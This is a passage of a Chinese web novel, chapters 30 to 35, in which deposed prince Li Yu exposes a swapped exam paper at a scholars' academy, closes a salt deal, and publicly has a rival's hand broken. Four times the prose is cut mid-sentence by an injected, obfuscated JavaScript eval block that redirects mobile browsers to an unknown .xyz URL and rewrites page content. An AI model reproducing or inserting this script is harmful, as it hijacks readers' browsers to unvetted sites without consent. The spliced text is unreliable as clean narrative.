“此人试卷就在淘汰的里面,山长如果不相信,大可派人去核实一下就好。” 第30章 打脸 白云书院建立至今,百年之久! 还从来没有发生过试卷被顶替的情况。 书院上下都看好的一份试卷,署名却成了另外一人。 陆文秀就是再蠢也知道这要是真的,会给白云书院造成什么样的影响。 眼看着胡文德就知道跪在那里磕头,陆文秀就吩咐其他人去找赵俭之的试卷。 一时间,现场气氛也为之一变。 看着这一幕的秦王李泰,脸色要多难看有多难看。 “到底怎么回事儿?胡文德不是说过,这事儿万无一失吗?为什么会被发现?” 辽阳董氏去年托了好几层关系联系到自己,表示愿意用三十万两白银买一个书院的位置。 这笔钱不要说书院了,就是直接买官都够了。 但董家人说过,多花钱稳妥点。 其实李泰也清楚,这董家是看中了书院在世俗的影响。 做官固然很好,但花了钱再往上升终究太难,撑死也就是五品的地方官员。 但书院士子哪怕是做到六品官就退下来,那在书院的人脉也不是普通官员可以相比的。 所以在外人看来,董家还是很聪明的。 只是原本以为万无一失的一件事儿,到了现在却变成了现在这个样子。 “幽王那个蠢货到底是怎么知道这件事儿的?” 然而,面对李泰的质问,此刻却没有人能回答上来。 很快,书院的人就将淘汰的试卷搬了过来,不过片刻功夫,就从里面找到了赵俭之的卷子。 陆文秀一把将其夺了过来。 只是看了一眼,眼前就是一黑。 随后整个人朝着后面倒去。 站在跟前的李钰眼疾手快,一把将其拖住,这才没有直直倒在地上。 见老头双眼紧闭,一副昏死过去的样子,李钰当即喊了一声。 “拿一杯茶来!” 下一秒就有士子端了一杯茶过来,李钰含了一口,作势就要喷上去,那陆文秀这才猛地睁开眼睛。 慌乱间要从李钰怀里挣脱出来。 李钰见状,将那茶水咽下去,笑眯眯道:“山长这是没昏过去?” 陆文秀神色间有些不好意思,轻咳一声道:“老夫刚刚只是气急攻心,气急攻心……” 说完,陆文秀就岔开这话,目光落在李钰身上。 “殿下,敢问你是如何知道这件事儿的?” “本王也是凑巧罢了。” 李钰回头看了一眼,朝着那赵俭之招了招手。 “赵兄,过来。” 赵俭之此刻心中还有些紧张,见李钰叫自己,稍作犹豫之后,这才上前。 朝着李钰和陆文秀行了一礼。 看着赵俭之,陆文秀瞬间有了预感。 “你是?” “学生赵俭之,辽阳人士。” 说着,赵俭之指了指陆文秀手中的卷子,开口道:“您手中那张卷子正是学生的。” 见自己没有猜错,陆文秀长叹一声。 “此事是我白云书院的问题,老夫定会给你一个交待。” 说完,陆文秀看向胡文德。 “文德,老夫原本看好你,你却捅出这么大的篓子,老夫问你,这事儿到底是谁主谋?” 胡文德神色骇然,扭头看了一眼人群中的李泰,见其没有站出来,当即明白了李泰的意思。 低着脑袋,胡文德开口道:“山长,是学生鬼迷心窍,收受董家银钱,将董明划入到了名列内。” 听到这话,陆文秀气不打一出来。 他自然不会蠢到觉得胡文德一个人就能做成这件事儿。 但胡文德有意隐瞒,他也问不出来。 深深看了一眼胡文德,陆文秀沉声道:“胡文德私收贿赂,坏我白云书院声誉,即日起逐出白云书院永不录用!” “士子董明,毫无才德,妄图抹黑我白云书院声誉,今日剔除书院录取。” 说到这里,陆文秀顿了顿,接着道:“老夫会给辽东学政去一封信,让他详查董明的功名是否有猫腻,如果有,老夫会谏言除去其功名。” 李钰听到这处理,心中也知道,这白云书院到底不是朝廷衙门。 胡文德他们也不是官员,这个处置已经算是顶格了。 但他更在意的还是今日这事儿,如果走错一步,自己可就有不小的麻烦,而且从今天李泰拱火的情况来看,摆明了是要算计自己的。 只是恰巧遇到了赵俭之,这才扭转了局势。 自己这也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511872|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半路捡了个机缘。 胡文德被处置之后,陆文秀就扭头看向赵俭之。 “赵俭之,老夫问你,若是我白云书院重新录用你,不知道你可愿意?” 此时的陆文秀已经开始给白云书院找补起来。 只要赵俭之答应进入书院,那今天白云书院就会修补好自己因为董明一事而丢失的声誉。 而且陆文秀也坚信,以白云书院的底蕴,像赵俭之这样贫寒出身的士子,绝对不会拒绝。 “白云书院还从未出现过这种事情,如今陆山长广开山门,为赵兄增加一次机会,你还不快点答应?” 台上传来李泰的声音。 此时周围也有不少附和之声,一副为赵俭之着想的样子。 然而,此刻的赵俭之却犹豫起来。 片刻后摇了摇头。 “陆先生的好意,学生心领了,但学生已经有了更好的去处。” 原本还脸上挂着几分笑容的陆文秀,瞬间神情一僵。 眼底满是不可思议的看着赵俭之。 他万万没想到,居然有人会拒绝白云书院的邀请! “赵俭之,你可想好了?” 赵俭之点了点头,随后转身来到李钰面前。 “殿下今日为学生发生,学生感激不尽。” “今日学生愿意拜入殿下门下,哪怕只是做个府中文书,学生也乐意,还望殿下收留。” 说完,便看到那赵俭之恭恭敬敬朝着李钰行了一礼。 宁为王府书,不做书院士。 此刻赵俭之的一番言行,彻彻底底将在场的人震惊了一遍。 任谁都没有想到,这赵俭之居然拒绝了白云书院的邀请,转而去做一个废太子的府中文书! 还是求着李钰这个废太子收留他? 这世界怎么就变得如此疯癫了? 反观陆文秀那越来越难看的脸色,李钰此刻却是笑了出来。 “本王可是马上就要去宣化那种苦寒之地了,你确定要追随本王?” 那赵俭之郑重其事的点了点头。 “学生愿意!” “哈哈哈!好!” 李钰大笑几声。 “既然你这么说了,那你这王府文书,本王就收下了!” 第31章 暴怒的乾帝 陆文秀的脸色顷刻间垮了下来。 完了! 全都完了! 白云书院百年声誉,今天算是毁于一旦了! 他原本想着,只要赵俭之能够答应他进入白云书院,那就说明这有才之人还是向往白云书院的。 再者,他白云书院成功收入赵俭之,也说明白云书院知错能改,可以将这调换试卷的影响降到最低。 可偏偏赵俭之没有答应加入白云书院,反倒是愿意去李钰府上做个文书! 你要是去一个有权有势的王爷府上,那他白云书院还能说你贪慕虚荣,攀附权贵。 但赵俭之偏偏选择了幽王李钰! 他一个被废的太子,皇上面前失宠的皇子,有什么权势? 他都被流放了! 跟着他又能有什么前途? 这是要把他白云书院往死路上逼啊! 李钰似笑非笑的看着愣在原地的陆文秀。 “陆山长,看样子你白云书院还有很长的路要走啊,脚踏实地一些,小心那天摔**都不知道是怎么摔的。” “读书治学就专心一点,整日里研究那些攀附权贵的本事有什么用?” “打铁还需自身硬啊。” 摇了摇头,李钰便朝着陆文秀拱手告辞。 等路过秦王李泰的时候,李钰低声道:“六弟,让你失望了,今日又什么都没办成。” 说完,拍了拍李泰的肩膀,带着赵俭之转身离开。 众人见状也不敢阻拦。 且不说李钰先前的身份,单单是今天考卷替换一事,就足够大了。 陆文秀稍有不慎,那就是铺天盖地的谩骂之声。 世人不会在意陆文秀之后怎么做,他们只想知道,白云书院过往有没有这种情况。 如果有,那些原本能够进入书院,却被淘汰的人又该如何想? 白云书院,还是那个过去的白云书院吗? …… “砰!” 精美的茶盏被狠狠摔在了地上,碎裂开来。 乾元殿内。 乾帝脸色阴沉,目光冷冷的看向李泰。 “这就是你和朕说的,要让他李钰在诗会上出丑?” “这是出丑吗?” 说话间,乾帝还晃动着手中的纸张。 “这诗会还没有开始,就被他一诗横压全场!” “天下说得出名号的读书人,竟然无一人敢在他面前作诗!” “知道京城现在都在说什么吗?” 站在殿内的李泰,小心翼翼摇了摇头。 乾帝见状,心中更是气急。 “他们说李钰这一手边塞诗,孤篇压文坛!” “知道什么意思吗?” “他李钰凭着一首诗,被天下文人追捧了!” “朕免除他太子之位又当如何看?世人会如何评价朕?” “难道让朕当着天下万民的面,和他道歉,再请他回来?” 这最后一句话,直接将李泰给吓清醒过来。 猛然抬头看向乾帝,李泰开口道:“父皇自然是没错的,儿臣这一次也是被摆了一道,谁知那大哥常年不作诗,这次居然会拿出这么一篇惊世骇俗诗作来。” 说到这里,李泰小心翼翼抬头看了一眼乾帝。 见乾帝一脸阴郁,李泰眼睛随之转了转。 躬身继续说到:“父皇,大哥终究是还对您有戒心,要不然这会作诗的事儿也不至于咱们现在才知道。” “儿臣只是觉得大哥不太懂事,忤逆父皇也就罢了,却还将父皇当做外人防备。” 乾帝听到这话,本就阴郁的脸色,瞬间变得能够滴出水来。 冷哼一声。 “朕如此信任他,他却事事隐瞒朕!” “他眼里可还有朕这父皇在?” 见乾帝被自己三言两语就说的愤怒起来,就连那怒火也转向了李钰,李泰这才稍稍松了一口气。 心中也随之冷笑一声,一本正经的朝着乾帝行礼道:“父皇息怒,儿臣也就是随口那么一说,万一这诗作不是大哥所作,是他人代笔也有可能。” “那岂不是更混账?” “朕的脸就不是脸了吗?他若是不学无术,世人还不说朕教子无方?” 李泰见乾帝的情绪已经被自己调动的差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511873|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,心中冷笑一声,劝说道:“父皇,其实这诗作是不是大哥作的,您一试就知道了。” “怎么说?” 只见那李泰低着脑袋,开口道:“再过一段时间,万寿宫就要修建完成了,此事事关父皇闭关大事,依照惯例是要让百官敬献贺表的。” “父皇和下令让大哥也做上一篇。” “如果这文章确实是不错,说明大哥却又才能,只是平日里防备父皇,不肯显露。” “如果说这文章写不出来,或者说写的很差,那就说明大哥这诗作就是让人代笔,父皇也可以用这个理由来责罚他,好让世人知道,父皇还是能够明辨是非的,而世人也不会在妄议父皇免去大哥太子之位的事儿。” 听了李泰的解释之后,乾帝虽然心底里是认同这个办法的,但有白云书院的事儿在前,他又怎么敢再去赌一把? “如果你大哥他真做出来了,怎么办?朕总不能因为他藏拙就处置他吧?” 乾帝现在是怕了,几次三番的找李钰茬,可偏偏全都被躲了过去。 见乾帝有些犹豫,李泰开口道:“父皇,欺君之罪也是罪。” 闻言,乾帝瞬间眼神明亮起来。 “对啊!朕先前也没少让他作诗,他都以各种理由推脱,如今朕到是要看看他到底怎么做!” 有了办法,乾帝脸色也好看了不少。 扭头看向李泰,乾帝脸上也浮现出几分满意之色,再没有了先前因为白云书院一事办砸了而生气的样子。 取而代之的则是满脸笑容。 “不愧是朕看好的儿子,泰儿你还是有办法的。” 说着又好像想起了什么,长叹一口气道:“你大哥要是有你一半省心,朕何至于现在都无法闭关探求长生之道?” 李泰闻言,开口道:“父皇过誉了,这都是儿臣应该做的。” 说话间,李泰脸上阴冷之色一闪而逝。 先前白云书院的事儿只顾着让他出丑了,这一次他倒是要看看,李钰要如何应对这两头堵! 作是个麻烦,不作又是麻烦! 这一次他无论如何也要让李钰对自己彻底没了威胁! 第32章 意外收获 一场盛会,李钰也算是靠着一首诗名扬整个京城。 宫中什么反应,李钰不想知道,也懒得知道。 他现在就是一心为前去宣化做准备。 因此,白云书院的事儿结束之后,他也就回到了府中不在过问。 而是几天之后,将被选定的盐商全都叫到了幽王府。 此刻幽王府前堂内。 汪臧海等一众盐商齐聚一堂,脸上笑容满面。 当李钰走出来的时候,便齐齐朝着李钰行了一礼。 “我等拜见幽王殿下。” 只见李钰很是随意的压了压手,示意众人入座。 “本王不比往日,这王府寒酸了点,诸位将就将就。” 一听这话,汪臧海立马开口道:“殿下这话说得,实在是让我们无地自容。” “今日可是殿下将就我等,不是我们将就幽王殿下您啊。” 不得不说,这汪臧海确实是会来事儿。 李钰听完之后失笑一声,随后说回了正题。 “今天将你们找来,是因为户部那边已经出了公文,你们的名额已经定下来了。” 听到这个消息,众人也是纷纷眼神一亮。 虽然说早就知道他们会入选,但是这事儿没有落地,众人心中多少还是有些担心的。 “多谢殿下挂念。” 李钰摆了摆手。 “本王不过是照章办事而已。” “按照先前的约定,你们也要尽快恢复供盐,这事儿事关我大乾子民,不能有半点马虎。” “我等明白!” 见汪臧海他们这么说,李钰这才朝着身边的王府管事吕青看了一眼。 “去将人叫来。” 众人闻言,不由得有些好奇起来。 不知道李钰是让谁过来。 片刻后,那吕青就带着在府中学习提炼精盐的几人走了过来。 只见那几人手中都拖着个盘子,用红布盖着。 众人见了好奇,不知道李钰这是要干什么。 “各位,站在你们面前的这几个人,就是本王选出来跟着你们去江南接管盐矿的负责人。” “他们手中的盘子里,放着各自掌管盐矿的盐。” 说着,李钰就示意几人将红布掀开。 随着几人将面前的红布掀开,托盘上的盐也展示在了众人面前。 只见每个托盘上都放着两堆盐,一堆是没有精炼过的粗盐,也就是毒盐,另外一堆则是精盐。 看着那托盘上堪比海盐一样的精盐,汪臧海等人无不是倒吸一口凉气。 “殿下,您是说这精盐是从毒盐里提炼而来的?” “不错。”李钰点了点头。“都是从毒盐里精炼出来的,没有毒素,品质也是不错。” “你们如果不相信,本王可以亲自给你们尝尝。” 这话虽然是这么说,但众人哪里敢让李钰尝试,连忙摆了摆手,开口道:“我们自己来就是。” 在场的世世代代都是盐商出身,知道这毒盐即便是稍稍吃一点点也没什么大问题。 小心翼翼捏了一点放入口中。 当那精盐在口腔里融化开的时候,众人惊异的发现,这精盐一点苦涩的味道都没有。 “还真是精盐?” “味道也干净的很,不仅仅如此就连看起来都很干净。” “奇了!这毒盐咱们都知道是怎么回事儿,殿下到底用了什么手段,能够将毒盐变成精盐?” 听到这话的李钰微微一笑。 “这事儿就事关吃饭的本事了,还请恕本王无可奉告。” 汪臧海等盐商听到这话,也是瞬间知道自己失言了。 “殿下息怒,我等绝对不是窥伺殿下的秘方。” “本王知道。”李钰笑了笑。“既然诸位都确认了这盐没有问题,那咱们是不是应该谈谈这盐矿出盐售卖的问题?” 众人对视一眼。 他们原本以为李钰只是买走盐矿做个样子,现在却突然能够产盐。 那七座毒盐矿真要是能够全部变成精盐,可是一笔不小的数目。 包括汪臧海在内,他们也没有仔细想过这个问题。 李钰见状,嘴角微扬。 他早就知道这群人没有想过这事儿,索性开口道:“本王知道你们忙,所以就自己先想了个合作的方式。” “你们几家占据江南八成盐矿,供应天下食盐。” “就连朝廷每年要和草原做生意用到的盐,也是你们在供应。” “汪臧海,这盐有多少啊?” 被李钰突然询问了一句,汪臧海立马回应起来。 “启禀殿下,朝廷每年用于草原交易的盐有五万石。” “占着盐商所产盐巴的一成。” “另外,还有给草原各部贵族的精盐,一万石。” “合计六万石。” 听到这个数字,李钰微微颔首。 “那本王就要这部分如何?” 汪臧海听到这话,也是愣了愣。 这运到草原的盐,按照一石的重量,能够卖到一百两的价格,精盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511874|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价格更甚! 往往都是普通盐价格的三到四倍之多! 李钰张口拿走这部分盐,也就是说李钰能够凭借这部分盐,一年有最少一千万两的收入! 但盐商们对于李钰的这个提议,却并没有任何反对的意见。 且不说他们是凭借着李钰才拿到了盐商的资格,单单是李钰的这个要求,就足够他们把李钰给供起来了。 因为,朝廷拿走的这部分盐,可从来没有给他们结过多少钱! 至今这盐钱,朝廷还差着他们三百多万两呢! 或许是因为良心上过意不去,汪臧海犹豫了一下看向李钰。 “殿下,这件事儿您要不考虑考虑?” “这和草原交易的盐,朝廷结账其实挺慢的。” 李钰听到这话嗤笑一声。 “不给就是不给,你还给他们挽回什么脸面?” 其实朝廷不给钱这事儿李钰也知道,一是没钱,二是这完全是乾帝的意思。 只不过过去一直有人背锅,不是自己就是户部,所以乾帝干这事儿向来是心安理得。 但是李钰这一次却不打算惯着乾帝。 “这事儿本王心中有数,你们只要答应就好,其余的就不用你们管了。” “本王要的钱,朝中还没有人敢不给的。” 一听这话,众人只当是李钰又在帮助他们。 否则他们实在是想不出来,还有什么原因,能让李钰主动将麻烦揽过去。 想到这里,汪臧海便主动说道:“殿下既然要这部分,那我们可以给您,但我等也不能眼真真的看着殿下吃亏。” “您一共七座盐矿,既然都已经能够产盐,那我等就再匀出来一成的份额,将其交给殿下,由您分配。” “这么多年了,您如此照顾我们江南盐商,眼下要去宣化那苦寒之地遭罪,权当是我们孝敬您的了。” “毕竟银钱在手,有些事儿处理起来也简单的很。” 汪臧海这话一出,周围众人也是纷纷点头附和。 “汪掌柜说得对,您可不能遭罪啊!” “还请殿下答应下来!” 见状,李钰也是诧异的很。 自己只是单纯的想要稳定的收入来源,毕竟朝廷这钱他有一百种方法要回来,本身就是稳赚不赔。 甚至他还能坐地起价,有的是手段让乾帝答应下来。 只是没想到在他们眼里居然成了吃苦的象征。 摇头失笑一声,李钰这才开口说道:“既然如此,那本王就恭敬不如从命了。” 第33章 流言蜚语 一年近千万两的生意,就这么商议妥当,而且还是盐商们上杆子答应下来的。 赵俭之第一次见这种场面,心中惊讶之余,对李钰也愈发佩服起来。 等到那盐商都离开之后,李钰才看向赵俭之。 见那赵俭之一脸懵懵的样子,不由得轻笑一声。 “怎么?今天第一次见着场面,有些不太适应?” 听到询问的赵俭之这才回过神来,看着李钰讪讪一笑。 “学生是有些惊讶,这群盐商为什么会么好说话,并且主动让利。” 听到赵俭之这个问题,李钰微微一笑。 “原因简单的很,本王没有在盐这件事儿上卡过他们。” “朝中大部分人把他们当做肥羊对待,高兴了给点,不高兴了就杀了吃肉,久而久之盐商对朝廷的信任也就无从谈起了。” “但本王不一样,在本王眼里,这群盐商用好了,同样是我大乾栋梁,将他们当做人看,这两相对比一下,他们也知道谁对他们好了。” 看了一眼赵俭之。 “夫君者舟也,民水也,水可载舟,亦可覆舟。” “这道理,你懂了吗?” 听到李钰这话,赵俭之顿时眼神明亮无比! “殿下此言大善!学生受教了!” 赵俭之此刻心中庆幸不已。 当初如果选择了进入白云书院,又怎么可能听到李钰今天的教诲? 就刚刚那句君舟民水,李钰这话足够载入圣人之言了! 看着情绪有些激动的赵俭之,李钰嘴角一勾。 “回头将盐商们的合约整理一下收好,这可是咱们去了宣化之后的本钱。” “学生明白。” 见赵俭之点头应了一声,李钰这才起身朝着外面走去。 “殿下要去什么地方?” “找老婆!” 背对着赵俭之摆了摆手,李钰朝着府外走去。 只是,当李钰来到成国公府的时候,却听到苏庭雪并不在府中。 “知不知道庭雪去了什么地方?” 成国公府的管家听到李钰追问,也不敢隐瞒。 “回禀殿下,小姐去见闺中密友去了,至于具体是谁,小人没敢多问,所以并不清楚。” 苏庭雪是京城有名的才女,平日里也时常在各府小姐之间走动。 京城内,苏庭雪的朋友可是不少,府上很少过问这些。 李钰听到这话,也只好点了点头。 “既然如此,那等你家小姐回来之后,你告诉他一声,就说本王找她有事儿。” “殿下放心,小人一定把话带到。” 管家不敢怠慢,如今阖府上下谁不知道,眼前的李钰虽然不是太子了,看似失势,实则还是厉害的很。 且和自家小姐有婚约在身,那日后就是他们的家主,他们怎么敢忤逆李钰的意思? …… 既然苏庭雪不在家,李钰也索性带着人在街道上闲逛起来。 想着看看这大乾京城的风光。 当转悠到街上的时候,看着那街道上人流如织,李钰的心情也是大好。 不知不觉,就来到了京城最繁华的地段。 大乾建国百年有余,京城先后扩大了两次,最为繁华的地方,就是这京城的东市。 此地云集了不少店铺,天下奇珍异宝都能够从这地方找到。 当然,此地也有不少京城知名的酒楼客栈以及青楼。 总之你能想到的,想不到的都能够在这地方找到。 李钰正带着人在街边小摊上挑选东西,突然听到头顶上传来阵阵银铃般的笑声。 抬头看去,只见这跟前的店铺,赫然是一座茶楼。 那笑声就是从楼上传来的。 听这动静,似乎是女眷在聚会。 李钰收回目光,正打算继续挑选东西,却突然听到楼上传来一道声音。 “依我看,这幽王也是钓名沽誉之人,诗作虽然很好,但几十年来只有这一篇,说不定就是从什么地方抄来的。” 这声音是男人的声音,李钰听到对方提及自己,眉宇间倒是没生气,反倒是有些好奇。 是谁这么大胆子,敢在大庭广众之下说出这种话来? 就在李钰琢磨的时候,那楼上的声音也再次传来。 “吴公子说的不错,这诗作确实是有些问题,幽王又没有去过边塞,何来这种感触?” “依我看,吴公子的诗作才是京城一绝。” “过誉,过誉了。” “……” “哈哈哈!” 听着楼上传来的动静,站在李钰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511875|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的陈玉楼脸色有些难看,一手按在刀上,就想要上去看看是谁这么大胆子。 但是还没有动作,就被李钰按了下来。 “着急干什么,先看看再说。” 陈玉楼闻言收回了动作,神色间依旧有些生气。 随后跟在李钰身后朝着茶楼内走去。 刚刚的声音就是从楼上传来的,李钰进店之后,就打算直接上楼。 但还没有迈上楼梯,就被店小二拦了下来。 “这位客人,楼上有贵客,您不方便上去。” 收回腿来,李钰扭头看向店小二。 “贵客?” 只见那店小二点了点头,随后解释道:“楼上是京城吴家的吴公子以及各府上的小姐在品茶论诗,闲杂人等不能上去。” “这可是吴公子特意吩咐过的。” 听到这话,李钰眉头一挑。 京城吴家? 这不就是吴贵妃的家吗? 自从吴贵妃得宠之后,这吴家的地位也是水涨船高。 其父吴三友,从外地调任京城,担任工部尚书一职。 其弟**,乃是白云书院的士子,身上有功名在身,才学在京城也是颇有名声。 至于这才学是真是假那就不清楚了。 “听你这意思,上面只有吴公子一个男的了?” 店小二不明所以,愣了愣神之后,点头道;“不错。” “这吴公子倒是玩儿的花。” 李钰也知道,大乾男女之防虽然也有,但是没有到了很严格的地步,富贵人家出身的女子是经常可以出来的,没有不可抛头露面一说。 “如果我今天非要上去呢?” 笑眯眯的看着面前的店小二,那眼神让店小二瞬间有些寒意涌现。 张了张嘴刚打算说话,却见李钰身边的陈玉楼,此刻已经一只手按在了刀把上。 那店小二见状,瞬间就闭上了嘴巴。 忙不迭摇了摇头。 “公子如果非要上去,也不是不行,只是……” 话还没有说完,李钰就转身朝着楼上走去。 一边走,一边头都不回到:“给我上一壶好茶,点心什么的也都来一些。” 店小二就这么眼睁睁的看着李钰走上楼,一种不祥的预感慢慢涌上心头。 第34章 嚣张跋扈 李钰慢悠悠的走到楼上。 只见那自己刚刚听到声音传来的方向,轻纱隔绝,倒是能看到里面有人影悼悼。 细细打量一下,人数还不少。 除此之外,这楼上再没有其他人。 李钰看了一圈,随后找了个地方慢悠悠的坐了下来。 等到那店小二将茶和点心送上来的时候。 恰巧看到李钰目光盯着吴涛所在的方向,心中不免有些担心。 “这位公子,您如果只是喝茶,不如去雅间如何?” “雅间可没戏看,滚吧。” 轻飘飘说了一句,那陈玉楼也是目光看向店小二。 只是一眼,那店小二就只能灰溜溜的离开。 那店小二下楼才没多久,那轻纱后就再次传来了一道叫好声。 透过轻纱看去。 只见几名女子围在一起,欢呼雀跃,显然是里面发生了什么。 但也有几名女子坐在一旁不为所动。 等到那欢笑声渐渐停下来,李钰才听到里面是因为什么在笑。 “吴公子这字愈发精进了。” “听说这一次白云书院的盛会,那幽王也是一手好字,但这首诗配上吴公子这一手字,倒是觉得相得益彰。” “幽王那字我见过,有些言过其实了,远不如吴公子的。” “依我看,和苏妹妹最配的应该是吴公子才对,那幽王有什么好的?” 听到这话,李钰端着茶杯的手猛地一停。 苏妹妹? 苏庭雪也在里面? 下一秒,那轻纱后就传来一道清冷的声音。 “傅姐姐如果喜欢,大可自己让家中长辈去提亲就是,没必要在这里编排妹妹。” “妹妹的婚事是陛下亲赐,且幽王殿下也没有你们口中那么不堪。” “你看看,姐姐不过是说了一句而已,你还不高兴了。” “依我看你就是被那幽王蒙骗了,他若是真有本事,又怎么可能被陛下废黜流放宣化?” “吴公子一表人才,吴家又是清流世家,这么多年了,吴公子为了你拒绝了多少人,你怎么还不知道好歹呢?” ‘哗啦!’ 只见轻纱后,一道身影猛地坐了起来,语气冰冷道:“我原本以为今天只是普通诗会,你们将吴公子请来我也没说什么。” “但今日你千不该万不该说幽王的坏话,那是我的未婚夫!” “就算是有千般万般的不是,也轮不到你们说三道四!” “告辞!” 说完,那轻纱就被人撩开,苏庭雪一脸怒气的从里面走了出来。 只是刚一抬头就和李钰的眼神对在了一起。 目光中,从愤怒再到惊讶,随后一抹羞涩一闪而过,苏庭雪下意识的停下脚步,低下了脑袋。 与此同时,轻纱后也冲出来一人。 “庭雪!” 说话间,那男子就要伸手去抓苏庭雪的手。 “你最好收着点,本王保证不把你那手给剁了。” 眼看那男子就要抓住苏庭雪的手,李钰冰冷的声音陡然间响起。 下一秒,陈玉楼就朝着那男人冲了过去。 只是一个肩膀碰了一下,那男人就踉跄几步,退后了一些。 “你是什么人?” 吴涛怒气冲冲的看向冲出来的陈玉楼。 但陈玉楼却并未理会对方,而是将苏庭雪护在身后,侧着身子。 就在这时,李承乾也慢悠悠的走了上来,来到苏庭雪的身边。 就这么大庭广众之下,伸手将苏庭雪的手拉起。 “放心,有我在谁都不敢把你怎么样。” 看着这一幕,众人哪里还不知道李钰的身份。 “幽王殿下?” 只见那吴涛被下人搀扶起来,看向李钰的眼神中带着些许讥讽。 而李钰却是一脸轻蔑的看向吴涛。 “你刚刚是哪只手要抓我家庭雪的?” 迎向李钰的眼神,吴涛下意识的缩了缩自己的左手。 这细节被把握住,李钰随即下令。 “陈玉楼,给本王把他的手打断。” 那陈玉楼也不含糊,径直就朝着吴涛冲了上去,以迅雷不及掩耳之势,一把拽住陈玉楼的左手。 只听到‘嘎巴’一声。 那吴涛的手竟然硬生生被陈玉楼掰断。 “啊!我的手!” 顷刻间,吴涛发出一声惨叫,脸色也涨红无比。 这一幕将眼前这群未曾见过世面的大小姐吓得不轻,纷纷后撤几步,眼神惊恐的看向李钰。 一言不合就断手,这李钰是疯了不成? 然而,李钰看着那地上惨叫的吴涛,只是轻飘飘道:“断你的手是让你长长记性!” “苏庭雪是本王的未婚妻,也是未来的幽王妃,按照皇制,日后是有诰命在身的。” “论地位远在你等之上,因此该有的规矩还是要有。” “其次,见了本王不行礼,你们家中长辈就是如此教你们规矩的?” 看着地上还在惨叫的吴涛,一众大小姐这才回过神来,忙不迭朝着李钰行了一礼。 唯独其中一人,看向李钰满脸愤怒。 “幽王好大的脾气!” “不过是没有立马行礼而已,殿下就将吴公子打伤,还有没有王法?” “殿下如此嚣张跋扈,难道就不怕朝臣们弹劾你吗?” 听着这熟悉的声音,李钰下意识的看向苏庭雪。 “这是傅秋月,他爹是国子监监正,傅子丰。” “我今日来这里,就是她请过来的。” 知晓了对方的身份,李钰冷笑一声。 随后拉着苏庭雪的手朝着傅秋月走了过去。 见状,那傅秋月下意识的往后退了两步。 随后又好似想到了什么,停下动作,目光直视李钰。 众人见状,有些不解。 正疑惑李钰这是要干什么的时候,只见那李钰突然抬手,就朝着傅秋月甩了一耳光。 “啪!” 骤然被打,傅秋月捂着涨得发疼的脸,满是不敢置信的看向李钰。 “你、你居然打我?” “呵,为什么不敢?” 李钰不屑的看着眼前的傅秋月。 “这一巴掌是打你,是因为你刚刚说的那些羞辱庭雪的话,别以为本王什么都没听到。” “至于你要为吴涛这话废物出头,大可回去告诉你爹,尽管弹劾本王。” “本王等着他!” “日后记住,管好自己的嘴,莫要因此而丢了性命。” 傅秋月原本还想要说话,但迎着李钰那冰冷的眼神,瞬间就闭上了嘴。 越过众人,李钰走进轻纱内。 看着桌面上吴涛所写的那首诗居然是自己在白云书院所做,不由得撇了撇嘴。 “晦气。” 一旁的苏庭雪也知道李钰再说什么,轻轻拉了拉李钰的手。 李钰似有察觉,笑着拍了拍苏庭雪的手背,安抚了一下之后,这才上前。 只见李钰提笔蘸墨,随后在那吴涛书写过的那张纸上书写了起来。 一个硕大的‘差’字便出现在了纸上。 虽然说只有一个字,但无论是笔法还是位置都恰到好处。 尤其是这字所用的笔法,众人并没有见过。 笔锋所至,看似纷乱,实则极有章法,给人一种龙飞凤舞的感觉。 甚至还给人一种极其自信的感觉。 第35章 一字千金 简简单单一个‘差’字。 李钰写完之后,便随手将手中的毛笔丢在一旁。 “练字练得连风骨都没了,只有皮没有里,居然还用的本王的诗,下次再让本王看到你写本王的诗作,仔细你的那只写字的手!” 说完,李钰就拉着苏庭雪离开。 众人此时才反应过来。 李钰这个‘差’字,原来是说吴涛字写的差。 吴涛的字,在京城可是很出名的,甚至不少文坛宿老都夸赞过。 